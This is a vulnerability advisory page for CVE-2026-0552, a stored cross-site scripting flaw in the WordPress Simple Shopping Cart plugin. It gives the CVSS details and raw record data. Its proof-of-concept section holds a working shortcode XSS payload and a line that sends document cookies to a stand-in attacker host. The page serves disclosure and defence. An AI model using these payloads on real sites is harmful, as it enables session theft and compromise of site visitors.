Security Vulnerability Report
中文
CVE-2026-0552 CVSS 6.4 MEDIUM

CVE-2026-0552

Published: 2026-04-04 08:16:06
Last Modified: 2026-04-24 18:13:29

Description

The Simple Shopping Cart plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wpsc_display_product' shortcode in all versions up to, and including, 5.2.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Simple Shopping Cart <= 5.2.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-0552 (Stored XSS via Shortcode) Context: WordPress Post/Page Content Privileges Required: Contributor+ --> <!-- Inject the following shortcode into a post content --> [wpsc_display_product name="<img src=x onerror=alert('XSS')>"] <!-- Explanation: The 'name' attribute lacks output escaping. When the page is rendered, the img tag is injected. Since 'src' is invalid, onerror triggers the alert. --> <script> // Automated verification payload // This simulates what an attacker might inject to steal cookies evil_payload = '<script>fetch("http://attacker.com/?c="+document.cookie)<\/script>'; console.log("Injectable payload for shortcode attribute: " + evil_payload); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0552", "sourceIdentifier": "[email protected]", "published": "2026-04-04T08:16:05.727", "lastModified": "2026-04-24T18:13:28.877", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Simple Shopping Cart plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wpsc_display_product' shortcode in all versions up to, and including, 5.2.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3440173/wordpress-simple-paypal-shopping-cart", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a8e222d1-cb03-4498-9776-e050eb501e9f?source=cve", "source": "[email protected]"}]}}